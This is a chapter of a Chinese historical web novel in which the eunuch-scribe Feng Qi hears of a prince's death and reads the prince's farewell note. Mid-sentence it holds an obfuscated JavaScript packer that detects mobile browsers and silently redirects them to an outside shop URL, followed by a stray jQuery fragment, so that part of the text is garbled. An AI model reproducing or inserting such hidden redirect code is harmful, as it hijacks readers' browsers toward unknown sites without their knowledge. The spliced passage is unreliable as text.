洪武二年的春天，冯七在江宁织造署的门口，见到了一个他以为这辈子再也不会见到的人。
那天下午下着小雨，南京的春雨细得像牛毛，落在脸上凉丝丝的，不像是雨，更像是雾。冯七撑着油纸伞从织造署出来，想去街上买些纸。他的笔记快用完了，最近写得多，一张纸写不了几天就满了。他得省着用，但省也省不了多少——心里装的东西太多，不写出来，堵得慌。
刚走出门口，一个人从对面的巷子里走出来，站在雨里，看着他。
那个人穿着一件半旧的灰色道袍，头发用木簪束着，面容清瘦，颧骨很高，眼睛下面有深深的眼袋，像是很久没有睡好觉了。他站在雨中，没有打伞，雨水顺着他的脸颊往下流，但他似乎浑然不觉。
冯七认出了他。
顾文昭。
两个人站在雨中，隔着一丈远的距离，互相看着。雨落在他们之间，细细密密的，像一道透明的帘子。过了很久，顾文昭开口了，声音沙哑得不像从前那个意气风发的谋士。
“冯七，好久不见。”
冯七没有说话。他走过去，把伞举到顾文昭头顶，遮住了他身上的雨。
“顾先生，进屋说话。”
顾文昭没有动。他站在原地，看着冯七的眼睛，那双眼睛里有一种冯七从未见过的东西——不是愧疚，不是悲伤，是疲惫，深入骨髓的疲惫，像是一个走了很远很远的人，终于走到了尽头，却发现尽头什么也没有。
“我来晚了。”顾文昭说。
“什么？”
“殿下的消息，我早就该来告诉你。但我没有来。”顾文昭的声音很低，低到几乎被雨声盖过，“因为我不敢。”
冯七握着伞柄的手紧了紧。
“不敢什么？”
“不敢面对你。”顾文昭说，“殿下死了。我答应过殿下，要保他周全。但我没有做到。我连他的尸首都没有找到。”
两个人站在雨中，沉默了很久。雨打在伞面上，啪啪的，闷闷的，像是有人在远处敲鼓。冯七站在那里，看着顾文昭的脸。雨水顺着他的脸颊流下来，分不清哪些是雨，哪些是泪。
“顾先生，”冯七说，“殿下是怎么死的？”
顾文昭闭上眼睛，深吸了一口气，又睁开。
“城破那天，殿下从宫里跑出来了。从北门，带着两个侍卫，骑着马。他本来可以跑掉的。赵崇安的兵都在南边攻城，北门没有多少守军。他只要出了城，往北走，进了山，就谁也找不到他了。”
“那他为什么没有跑掉？”
“因为他回来了。”顾文昭的声音像是从牙缝里挤出来的，每一个字都带着一种说不清的痛苦，“他跑出去之后，忽然调转马头，又跑回来了。没有人知道他为什么回来。有人说他是回来救他的母妃，有人说他是回来取一样东西，也有人说他疯了。”
顾文昭睁开眼睛，看着冯七，雨水从他的眼角流下来，像是两条无声的泪痕。
“我见过他最后一面。在城门口，他骑着马，从城里冲出来。我喊他，他听见了，勒住马，看着我。他浑身是血，不知道是他自己的还是别人的。他对我说了一句话。”
“什么话？”冯七的声音有些发抖。
“他说：‘告诉冯七，那张纸，可以打开了。’”
冯七站在那里，手里的伞差点掉在地上。雨水打在他的肩上，打在他的头上，打在他的脸上，冰凉冰凉的。他感觉自己的心被什么东西猛地攥了一下，疼得他眼前发黑。
那张纸。赵珩临走前给他的那张纸，折得方方正正，写着赵珩的决定。他一直没有打开。他在等，等一个合适的时候。但他不知道，那个合适的时候，就是现在。
“顾先生，”冯七的声音涩得像含了一口沙子，“殿下还说了别的吗？”
顾文昭摇了摇头。
“他只说了这一句。说完就调转马头，又冲回去了。我追了几步，没追上。后来……后来就再也没有见过他。”
雨下得更大了。雨点打在伞面上，啪啪啪的，像是有人在用力拍打。冯七和顾文昭站在伞下，谁也没有说话。过了很久，冯七才开口。
“顾先生，进屋吧。雨太大了。”
顾文昭点了点头，跟着他走进了织造署。
冯七把他带到自己的小屋，给他倒了一杯热茶，让他坐在床上。顾文昭捧着茶杯，手在微微发抖。他喝了一口茶，放下杯子，看着冯七。
“殿下给你的那张纸，你打开了吗？”
冯七摇了摇头。
“还没有。”
“那你现在打开吧。”
冯七从怀里掏出那张纸。纸已经泛黄了，折痕很深，有些地方的纸纤维已经磨断了。他把纸展开，铺在桌上，低下头去看。赵珩的字，一笔一划，工工整整，和他的人一样——从容，克制，带着一种说不清的温度。
纸上的字不多，只有五行。
“冯七，我决定回京。”
“我知道回去是死路一条。但我必须回去。我的母妃在京城，我不能丢下她。”
“如果我死了，你不要难过。人总是要死的，早一天晚一天而已。”
“你替我活着。替我看着这座天下，替我记住这些事。”
“你手里的那支笔，别放下。继续写。”
冯七看着那五行字，看了很久。他的手没有抖，心没有慌，平静得像一潭死水。但他的眼眶是热的，有一种温热的液体在眼眶里打转，怎么也控制不住。他没有让它们流下来。他咬着嘴唇，把那些热意一点一点地咽了回去。
他把纸折好，重新揣进怀里，贴着胸口。纸贴着他的皮肤，温热的，像一只手在抚摸他的心口。
“殿下，”他在心里说，“奴才不死。奴才替你活着，替你看着，替你记住。你交给奴才的那支笔，奴才不会放下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680433|207663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
顾文昭坐在床上，看着冯七把纸收好，没有再问。他端起茶杯，把剩下的茶一口喝完，站起来。
“冯七，我要走了。”
“顾先生去哪儿？”
“不知道。”顾文昭苦笑了一下，“走到哪儿算哪儿吧。这天下太大了，总有一个地方能容得下我。”
冯七看着他，忽然问了一个他从来没有问过的问题。
“顾先生，你后悔吗？后悔来找殿下，后悔劝殿下站出来？”
顾文昭沉默了很久。他站在门口，看着外面的雨，雨幕灰蒙蒙的，把整个世界都罩住了。
“不后悔。”他说，“我这一辈子，做过很多错事，但来找殿下这件事，我从来没有后悔过。殿下是个好人。这世上的好人太少了，能遇见一个，就已经是很大的福分了。”
他转过身，看着冯七。
“冯七，你也是好人。你要活着。替殿下活着，也替你自己活着。”
冯七点了点头。
顾文昭推开门，走进了雨里。他没有打伞，雨水立刻打湿了他的头发和衣裳。他走了几步，忽然停下来，没有回头。
“冯七，殿下送给你的那支笔，笔杆上刻着两个字。你知道那两个字是什么意思吗？”
“安生。安生立命。”
“不。”顾文昭的声音从雨幕中传来，有些模糊，像是隔了一层什么东西，“安生，是安王的安，冯七的生。”
他走了。雨幕吞没了他的背影，转眼间就看不见了。冯七站在门口，看着那片灰蒙蒙的雨，久久没有动。他低下头，看着自己手里的那支笔。笔杆上刻着两个字——“安生”。
安王的安，冯七的生。
赵珩把这支笔送给他的时候，就已经想好了。他把自己和冯七的名字刻在同一支笔上，是希望他们能永远在一起。哪怕他死了，他的名字还在这支笔上，还陪在冯七身边。
冯七把笔贴在胸口，闭上了眼睛。
雨还在下。雨声淅淅沥沥的，像是有人在远处唱歌。唱的什么听不清，只有调子飘飘忽忽地传来，钻进耳朵里，缠在脑子里，怎么都赶不走。
那天晚上，冯七在笔记上写道：
“洪武二年，三月十七，雨。”
“顾先生来，告殿下死讯。”
“殿下临去前，留一字条。奴才今日方开。”
“殿下曰：‘你替我活着。’”
“奴才曰：‘诺。’”
他写完之后，把笔放下，看着那些字。墨迹还没干，在纸上泛着湿润的光泽。那些字像一双双眼睛，看着他，问他：你做到了吗？还没有。他在心里说。但我会做到的。一辈子不够，就两辈子。两辈子不够，就三辈子。
他把笔记藏好，吹灭了灯，躺在床上。黑暗中，他摸着脖子上的玉扳指和铜钱，摸着枕头底下的那支笔。三样东西贴在一起，温热的，像是在彼此取暖。